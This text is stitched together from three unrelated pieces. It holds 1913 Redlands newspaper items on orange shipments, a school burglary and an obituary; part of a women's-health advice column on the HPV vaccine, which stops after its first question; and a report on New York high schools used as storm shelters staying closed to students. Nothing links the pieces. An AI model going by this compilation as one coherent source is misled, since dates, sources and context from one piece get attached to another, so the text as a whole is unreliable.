During the past week 137 cars and 90 boxes of oranges have been shipped from the Redlands district, embracing Redlands, Crafton, Mentone, Redlands Junction and Drew. The shipments for the same week of last season were 48 cars and three boxes. This brings the total up to 685 cars and 118 boxes up to the same date of the previous season. These figures are based on a standard car of 384 boxes.
Jan. 17, 1913
Burglar enters high school, secures small sum
A perfectly good (or bad) burglar entered the high school last night, through a fire escape, pried open doors and desks, and found a few dollars in money, which he took. The one sum of any consequence in the building, the lunch room fund, he overlooked.
The janitor of the school made the discovery of the felonious entrance this morning, when he went to look after his duties. The thief had evidently climbed up the fire escape and into the second story of the building through a window. He was equipped with a couple of chisels, for doors and windows and desks showed evidence of their use and the chisels were found thrown in a corner of a shed outside the building this morning.
The intruder gave most of his attention to the downstairs offices of Superintendent Covell and Principal Clement, though he did not fail to enter a number of the classrooms. The glass in the door of both Mr. Covell's and Mr. Clement's rooms was broken out, and through the aperture thus made, the fellow climbed, both in and out of the rooms. Neither desk of the supervising officers yielded any coin, but in the outer office the desk of Secretary Hayward gave up the sum of $2.10. From the desk in Miss Eddy's room the burglar secured $4. So far as is known, these were the only sums of money taken, and no other articles were disturbed. The lunch room money, in the inner office, was not found. The fellow probably thought it not worthwhile to look further, and therein lay his mistake from a "burgling" standpoint. Hereafter there will be no such chance. The lunch room money will be banked daily.
The peace officers and the authorities at the high school think the act was that of a hobo. Had it been someone familiar with the school affairs, the lunch room money would not have been overlooked. The fact that the intruder took only money seems to show that some yegg wandering by thought he saw an opportunity for some "easy money," so equipping himself with the chisels, probably stolen somewhere else, chose the hours of night to enter the school building and steal what he could.
Jan. 18, 1913
Passing of Mrs. A.K. Smiley
Last evening at 10:45, following an illness of considerable duration, Mrs. A.K. Smiley passed away at her home in Canyon Crest Park, surrounded by the members of her immediate family. Her death was not unexpected, as for several weeks her life has hung upon a slender thread, liable to part at any moment. Funeral services are to be held Monday morning at 10:30, from the residence. Concerning Mrs. Smiley's life, the Rev. Dr. J.H. Williams has prepared the following:
Mrs. Smiley has soon followed her husband, and in this her own wish has been realized. For four months she was very ill, and at no time during that period have her friends been free from anxiety, realizing that she might go at any time. She was possessed of a wonderful vitality, and to the last was conscious of her condition and surroundings. Although growing weaker from day to day, and evidently nearing the end, during the last two days she rested more easily and was free from pain and passed away peacefully.
Mrs. Smiley had led a very useful and active life. No small part of Mr. Smiley's success was due, as one expressed it at the golden wedding, "in large measure to the wise counsels and constant encouragement and assistance of Mrs. Smiley."
She was possessed of a superior education and a well trained mind, and was a student in two well known institutions in the east. For three years after her marriage she was principal of the girls' department of the school in Providence with Mr. Smiley.
A friend of Mr. and Mrs. Smiley several years ago expressed this as his prayer for them, "That at the evening time it might be light about their way even unto the end." And so it has proved. They have passed from their beloved Canyon Crest Park to the home above.
Before her marriage Mrs. Smiley was Miss Eliza Phelps Cornell, and she was married to Mr. Smiley in New York in 1857.
The remains will be sent east with those of Mr. Smiley early next week.
SOURCE: Redlands Daily Facts


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Suzi's Sexy Secrets: 3 Questions You're Afraid to Ask Your Gyno
Suzi asks Medical "Sexpert" Dr. Lauren Streicher those embarrassing questions you're too afraid to ask your Gynecologist.
-Suzi Kirsh
Introducing a new BettyConfidential columnist — Suzi and her Sexy Secrets! Each week Suzi will cover a different topic about all this womanhood. If you'd like to ask her a question, just leave it in the comments section.
Urgggggh!!! It's that time again. The dreaded Gynecologist appointment has been on your calendar forever and you've already called to postpone too many times. Well, there's nothing to be afraid of! It's just the GYNECOLOGIST! Even though it's totally embarrassing! You're forced to strip, lie down on butcher paper with your legs spread apart out in front of you, and talk about your sex life. NOTHING shocks the gyno. However, many women are reluctant to ask the questions they want and NEED answered.
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You know those questionable bumps, that mysterious odor and that weird discharge? Well, personally, I'd rather discuss those things with my doc than have my boyfriend tell me, know what I'm saying? Plus, believe it or not, spilling the beans to your doctor can calm your fears and get your problems treated. In fact, if something serious is going on, early diagnosis is CRUCIAL. A survey of 391 women conducted by the Women's Sexual Health Foundation found that 72 percent of respondents are uncomfortable talking to their Gyno about "the sexy stuff," and 73 percent would rather die than ask the Doc, "What's up."
I've asked Dr. Lauren Streicher, assistant Clinical Professor of Obstetrics and Gynecology at Northwestern University's medical school, to help answer some of the embarrassing questions you might be dying to ask your gynecologist. Here, are a few of the most common questions her patients are asking:
1. "I am recently single and worried about getting an STD. Should I get the HPV vaccine?"
Dr. Streicher says: The HPV vaccine is approved by the FDA for girls and women ages 9 to 26 and is recommended by the CDC, the American College of Obstetrics and Gynecology and the American Academy of Pediatrics. The vaccine protects against the four types of HPV that are responsible for 90 percent of genital warts and 70 percent of cervical cancers. The vaccine is not FDA approved for women over the age of 26, but many studies show that it is beneficial for women in this age group who are exposed to new partners.
The HPV vaccine does not protect women from other STDs – you should still be sure to use a condom.


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ByLisa Fleisher
Eight large public high schools that have been serving as shelters for homeless people and storm evacuees won't welcome students back on Monday as originally planned, Mayor Michael Bloomberg said Saturday.
The plan to allow students to go to school alongside shelter evacuees had been criticized. Teachers warned of hazardous conditions that wouldn't be conducive to learning.
Students at schools used as shelters, including Brooklyn Tech High School and Susan Wagner High School on Staten Island, will have another day off on Monday but return on Wednesday, schools spokeswoman Erin Hughes said. The city already announced plans to relocate students in 57 schools deemed unusable. (See the list of schools and their relocation sites here.) Schools officials repeatedly warned that number could change, and schools could come back on line.
The schools that will remain closed Monday serve 58,000 of the city's roughly 1.1 million students.
The relocation plans will send students to different boroughs from their home schools and will split up grades within schools. Teachers said that could disrupt students schedules and split siblings.
"Every effort was made to avoid disruption of teacher and student programming, but we acknowledge that, in some instances, schools – receiving and sending – will need to make adjustments," Ms. Hughes said. "We appreciate the many sacrifices and accommodations that our teachers and principals are making."
At a school shelter on 49th Street on Manhattan's West Side on Friday afternoon, the lobby was crowded with people: volunteers handing out waters and apples, evacuees asking for clothes, and police and Department of Homeless Services staff members handling requests. Cots spread throughout six of the seven floors of the building, which housed evacuees and people who were homeless before the storm.
Alice O'Neill, with the United Federation of Teachers, led reporters through the building and pointed to human waste under a cot. A volunteer said a bathroom was closed off after clothes were flushed down a toilet.
"There is absolutely no way this building can be turned around by Monday," Ms. O'Neill said of the building that houses the High School for Graphic Communication Arts. "I have never seen anything like this."
Standing outside the school, volunteer Ooana Trien, 34 years old, said she felt the shelter was clean and comfortable–for evacuees. But she said it would take "days to clean" in preparation for students, including moving cots.
Schools Chancellor Dennis Walcott visited three of the shelters Saturday – Brooklyn Tech, Graphics and Hillcrest High School in Queens. Late Friday afternoon, Mr. Walcott said: "If it's not sanitary, than it will be sanitary. … I hold a high standard for our students and our staff as far as the conditions of our buildings."
School will resume Monday for most of the city's students; on Tuesday, schools are closed again for the election. The students in the 57 buildings deemed unusable as of late Friday won't start school until Wednesday.
The city said 96% of bus routes would be running, though there could be some delays because of downed trees. Schools officials said the bus system operated one of the world's longest routes, second only to London.
Kevin Wong, an 11th-grade English teacher at Scholars' Academy in the Rockaways, said the tight-knit community at his school was pulling together to help the students and staff get through the storm's physical and psychological aftermath. The plan as of Saturday was to split the Queens school into two, sending the middle-school grades to Public School 13 and the high-school grades to William Maxwell High School, both in Brooklyn.
Mr. Wong said the school set up a Google Docs form for students to check in, and he said they've slowly been hearing from students. "Some are fine, but there are other people who have lost everything," he said. "Our job right now is just going to be supporting the kids and to help them just express their emotions."
"It is just terribly important that our kids get back to school," Mr. Bloomberg said Saturday. "They have missed a week of school, and this is their future. Very hard to catch up to."
–Jackie Bischof and Laura Nahmias contributed to this article.